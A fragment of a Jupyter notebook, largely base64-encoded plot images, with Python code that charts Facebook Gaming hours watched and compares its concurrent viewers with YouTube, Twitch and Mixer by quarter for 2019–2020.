dn/qQpHel6jcAT6TpE8stX8VCYGdJ/5j67Stpn8ieWPqcpPeldp/MxT9I0vQurmdTPQB8QNJOyh7lPhL4TbUFJL01Ih6IiPOAVWz46BDrZXxIzTZ3nwfGS/oi2ZM8P53KrwVul/Qg2fmUdRWWHwZ8W1IH8DfgX0vqW4Dvp8NWAi6LiGcl3QHcIukosrtPl/okcJWkr5Elux8CD5OdB/mJpCfIHm38lno3NCJeThdCXJHi2YLsSavz03aPl/QC2Z3QOw0kG+01XESslHQucBfZvpoaEbUeUfBtSUNT++lk+8h6Kd8t2uzvmKTPAX+K7PJms4ZywjEzs0L4HI6ZmRXCCcfMzArhhGNmZoVwwjEzs0I44ZiZWSGccMzMrBD/H/FqIQe34LoVAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB22.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Facebook Gaming hours watched by quarter\")\n", + "plt.ylabel(\"Quarter\")\n", + "plt.xlabel(\"Hours streamed, millions\")\n", + "plt.grid(axis='x', color='b')\n", + "plt.barh(x,y,color='m')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook Gaming, average concurrent viewers vs rivals, thousands" + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Facebook YouTube Twitch Mixer\n", + "0 Q1 2019 80 330 1300 40\n", + "1 Q2 2019 90 340 1300 50\n", + "2 Q3 2019 120 320 1300 50\n", + "3 Q4 2019 210 430 1200 40\n", + "4 Q1 2020 210 500 140 40\n", + "5 Q2 2020 260 700 2300 50\n", + "6 Q3 2020 370 760 2100 0\n", + "7 Q4 2020 410 870 2500 0\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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DZgWLFiQJUuWzHQzZo1FxyzKksMcr7lI7ecmdZ+71H7uUvu5S+3nLrWfu9SeqVRV14423iVyAAAAAPQiYAIAAACgFwETAAAAAL2stfdgAgAAAOaeu+66K9ddd12WL18+002Z1ebNm5dtttkm66+//oTmFzABAAAAa43rrrsuG220URYsWJCqmunmzEqttdx888257rrrst12201oGZfIAQAAAGuN5cuXZ9NNNxUu9VBV2XTTTVerF5iACQAAAFirCJf6W91jKGACAAAAoBcBEwAAALD2qprcYQLWXXfdLFy4cOVwzTXXTMquLF68OO9617t6r+fMM8/Mi170oklo0W+5yTcAAADAJJo/f36WLl06082YVnowAQAAAEyh2267Lc9+9rPz5Cc/OU94whNyyimnrJx23HHHZaeddsoTn/jEHHTQQUmSG2+8MS95yUuy8847Z+edd84555yzcv5LLrkke+21V7bffvt85CMfSTL41bc3velN2XHHHfOEJzwhJ5100rjjh1144YV50pOelB/84Ae99lEPJgAAAIBJdMcdd2ThwoVJku222y6f/vSn8/nPfz4bb7xxbrrppuy2227ZZ599csUVV+Soo47KOeeck8022yw///nPkySvf/3r85d/+ZfZfffd88Mf/jDPe97zsmzZsiTJpZdemvPOOy+//vWv86QnPSkvfOELc+6552bp0qW55JJLctNNN2XnnXfOHnvskW9961ujjl/hW9/6Vl73utfllFNOySMf+che+yxgAgAAAJhEIy+Ru+uuu3LkkUfmrLPOyjrrrJMf//jH+elPf5qvfe1reelLX5rNNtssSbLJJpskSc4444xcccUVK5e/5ZZbcuuttyZJ9t1338yfPz/z58/Ps571rFxwwQU5++yzc8ABB2TdddfNFltskWc+85m58MILxxy/8cYbZ9myZTnssMNy+umnZ6uttuq9zwImAAAAgCl0/PHH58Ybb8xFF12U9ddfPwsWLMjy5cvTWkuNcuPwe++9N+eee27mz59/v2kj56+qtNZG3e5Y45Nkyy23zPLly/Ptb397UgIm92ACAAAAmEK/+tWvsvnmm2f99dfP17/+9Vx77bVJkmc/+9k5+eSTc/PNNyfJykvknvvc5+Z973vfyuWHe0OdcsopWb58eW6++eaceeaZKy97O+mkk3LPPffkxhtvzFlnnZVddtllzPFJ8tCHPjRf/OIXc+SRR+bMM8/svY8CJgAAAGDt1drkDg/AgQcemCVLlmTRokU5/vjj87jHPS5J8vjHPz5vectb8sxnPjNPfOIT81d/9VdJkve+971ZsmRJdtppp+ywww750Ic+tHJdu+yyS174whdmt912y9/+7d9mq622yotf/OKVNwrfa6+98o53vCOPeMQjxhy/whZbbJH/+q//ymtf+9qcf/75PQ6yS+QAAAAAJtVtt912n+ebbbZZzj333FHnPeSQQ3LIIYfcb/7RfvFt8eLFo66jqvLOd74z73znOyc0fs8998yee+6ZJHnkIx+Z73znO+PtzoTowQQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF6mLGCqqm2r6utVtayqvlNVr+/GL66qH1fV0m54wdAyb66qq6rqyqp63tD4p1TVZd2091ZVTVW7AQAAAFg9U/krcncneUNr7eKq2ijJRVX1lW7ae1pr7xqeuap2SLJ/kscn2SrJGVX12NbaPUk+mOSwJOcl+VKSvZOcNoVtBwAAAGCCpqwHU2vthtbaxd3jW5MsS7L1OIvsm+RTrbU7W2tXJ7kqyS5VtWWSjVtr57bWWpLjkuw3Ve0GAAAA1h5VkzusSmstu+++e0477bf9Yk4++eTsvffeE2rvzTffnIULF2bhwoV5xCMeka233nrl89/85jf3m//MM8/Mi170ogkfj6kylT2YVqqqBUmelOT8JE9PcnhVHZxkSQa9nH6RQfh03tBi13Xj7uoejxw/2nYOy6CnU+ZtOi+Ljlk0uTuyFlt20zLHa45S+7lJ3ecutZ+71H7uUvu5S+3nrumo/UUXXTSl60+SpzzlKQ9ouXcsfEfajW1ozA6T06DOFTdescp53vQPb8rhf3Z4PrPjZ3LPPffkTUe8KR/+1IcntGySnPCVE5Ik73/H+/PgDR6cP3ntnyRJrvrVVfeb95pfXpPbfnPbhNe9On5y609y0DEHTWjeKQ+YqmrDJJ9N8hettVuq6oNJ/l+S1v09OskrkoyWA7Zxxt9/ZGvHJDkmSRYtWtSWHLak/w7MEYuOWRTHa25S+7lJ3ecutZ+71H7uUvu5S+3nrumo/XTcGnlJe2D7sGzZsvz+w39/klvzWzs8fNWB1Q4P3yHn7HdOTv3Yqfn1r3+dVxzyinzoHz6UH/zgB3nwgx+cY445JjvttFMWL16cDTfcMG984xuTJDvuuGO+8IUvZMGCBUmSh2/w8Gy44YbZ4eE75NBDD82LXvSivPSlL02SbLjhhrntttvys4f+LPcuvzdvOewtufLKK7PHHnvkAx/4QNZZZ52cfvrpeetb35o777wzj3nMY/Lxj388G2644YT3tW6q+51L9arRaz+lvyJXVetnEC4d31r7XJK01n7aWruntXZvko8k2aWb/bok2w4tvk2S67vx24wyHgAAAGCN9Na3vjUnnHBCTjvttPzkJz/Jk570pFx66aX5h3/4hxx88MGTuq0LLrggRx99dC677LJ8//vfz+c+97ncdNNNefvb354zzjgjF198cRYtWpR3v/vdk7rdYVPWg6n7pbePJlnWWnv30PgtW2s3dE9fnOTy7vGpSU6oqndncJPv7ZNc0Fq7p6purardMrjE7uAk/zZV7QYAAADoa4MNNsjLX/7ybLjhhjnxxBPz2c9+Nkmy11575eabb86vfvWrSdvWLrvskkc/+tFJkgMOOCBnn3125s2blyuuuCJPf/rTkyS/+c1v8tSnPnXStjnSVF4i9/QkByW5rKqWduOOTHJAVS3M4DK3a5K8Kklaa9+pqpOTXJHBL9C9tvsFuSR5TZJjk8zP4Nfj/IIcAAAAsEZbZ511ss4662Twm2X3VVVZb731cu+9964ct3z58jHXNTxva+0+N/weecliVaW1luc85zk58cQT++7GhEzlr8id3Vqr1tpOrbWF3fCl1tpBrbUndOP3GerNlNbaUa21x7TWfq+1dtrQ+CWttR27aYe30SoDAAAAsAbaY489cvzxxycZ/OrbZpttlo033jgLFizIxRdfnCS5+OKLc/XVV4+5jgULFqy8ufopp5ySu+66a+W0Cy64IFdffXXuvffenHTSSdl9992z22675ZxzzslVVw1uDH777bfnu9/97lTt4tTegwkAAABgJrU2ucMDsXjx4ixZsiQ77bRTjjjiiHziE59IkrzkJS/Jz3/+8yxcuDAf/OAH89jHPnbMdbzyla/MN77xjeyyyy45//zzs8EGG6yc9tSnPjVHHHFEdtxxx2y33XZ58YtfnIc//OE59thjc8ABB2SnnXbKbrvtlv/5n/95YDswAVP+K3IAAAAAc9HixYtXPj7llFPuN33+/Pk5/fTTJ7T8FltskfPOO2/l83/8x39Mkuy5557Zc889R11+r732yoUXXrh6jX6A9GACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAABYa1XVpA6rcvPNN2fhwoVZuHBhHvGIR2Trrbde+fw3v/nNqMt86EMfynHHHZckOfbYY3P99dePu41jjz02hx9++OofjCm03kw3AAAAAGBtsemmm2bp0qVJksWLF2fDDTfMG9/4xnGXefWrX73y8bHHHpsdd9wxW2211VQ2c9LpwQQAAAAwRe6999485SlPSZJccsklqar88Ic/TJI85jGPye23357FixfnXe96Vz7zmc9kyZIlOfDAA7Nw4cLccccdufDCC/O0pz0tT3ziE7PLLrvk1ltvTZJcf/312XvvvbP99tvnr//6r2ds/1YQMAEAAABMkXXWWSfLly/PLbfckm9+85tZtGhRvvnNb+baa6/N5ptvngc/+MEr533pS1+aRYsW5fjjj8/SpUuz7rrr5uUvf3n+9V//NZdccknOOOOMzJ8/P0mydOnSnHTSSbnsssty0kkn5Uc/+tFM7WISl8gBAAAATKmnPe1pOeecc3LWWWflyCOPzJe//OW01vKMZzxj3OWuvPLKbLnlltl5552TJBtvvPHKac9+9rPzkIc8JEmyww475Nprr8222247dTuxCnowAQAAAEyhZzzjGSt7Le2777655JJLcvbZZ2ePPfYYd7nW2pg3Fn/Qgx608vG6666bu+++e1LbvLoETAAAAABTaI899sgnP/nJbL/99llnnXWyySab5Etf+lKe/vSn32/ejTbaaOV9lh73uMfl+uuvz4UXXpgkufXWW2c8SBqLS+QAAACAtVZrbaabkAULFiTJyh5Lu+++e6677ro87GEPu9+8hx56aF796ldn/vz5Offcc3PSSSflda97Xe64447Mnz8/Z5xxxnQ2fcIETAAAAABTYPHixSsfr/jluCQ58sgjc+SRR44630te8pK85CUvWfl85513znnnnXef9R566KE59NBDVz7/whe+MHmNfoBcIgcAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoJf1ZroBAAAAAFOlzjxzUtfX9txz1dusyh//8R/nP/7jP5Ikd999d7bccsvsuuuu+cIXvpBTTz01V1xxRY444ohJbdtMEjABAAAATKINNtggl19+ee64447Mnz8/X/nKV7L11luvnL7PPvtkn3326b2de+65J+uuu27v9UwGl8gBAAAATLLnP//5+eIXv5gkOfHEE3PAAQesnHbsscfm8MMPT5Lsu+++Oe6445IkH/7wh3PggQcmSU4//fQ89alPzZOf/OS87GUvy2233ZYkWbBgQd72trdl9913z6c//enp3KVxCZgAAAAAJtn++++fT33qU1m+fHkuvfTS7LrrrqPOd8wxx+Rtb3tbvvnNb+boo4/Ov/3bv+Wmm27K29/+9pxxxhm5+OKLs2jRorz73e9eucy8efNy9tlnZ//995+u3Vkll8gBAAAATLKddtop11xzTU488cS84AUvGHO+LbbYIm9729vyrGc9K5///OezySab5Atf+EKuuOKKPP3pT0+S/OY3v8lTn/rUlcu8/OUvn/L2ry4BEwAAAMAU2GefffLGN74xZ555Zm6++eYx57vsssuy6aab5vrrr0+StNbynOc8JyeeeOKo82+wwQZT0t4+XCIHAAAAMAVe8YpX5O/+7u/yhCc8Ycx5Lrjggpx22mn59re/nXe96125+uqrs9tuu+Wcc87JVVddlSS5/fbb893vfne6mv2A6MEEAAAArLXannvO2La32WabvP71rx9z+p133plXvvKV+fjHP56tttoqRx99dF7xilfka1/7Wo499tgccMABufPOO5Mkb3/72/PYxz52upq+2gRMAAAAAJNoxS++Ddtzzz2zZxd2HXrooTn00EOTJJdccsnKefbZZ5/ss88+SZK99torF1544f3Wc80110x6eyeDS+QAAAAA6EXABAAAAEAvAiYAAABgrdJam+kmzHqrewwFTAAAAMBaY968ebn55puFTD201nLzzTdn3rx5E17GTb4BAIBeqmpatuPLIjAR22yzTa677rrceOONM92UWW3evHnZZpttJjy/gAkAAABYa6y//vrZbrvtZroZc45L5AAAAADoRcAEAAAAQC8CJgAAAAB6ETABAAAA0IuACQAAAIBeBEwAAAAA9CJgAgAAAKAXARMAAAAAvQiYAAAAAOhFwAQAAABALwImAAAAAHoRMAEAAADQi4AJAAAAgF4ETAAAAAD0ImACAAAAoBcBEwAAAAC9CJgAAAAA6EXABAAAAEAvAiYAAAAAehEwAQAAANCLgAkAAACAXgRMAAAA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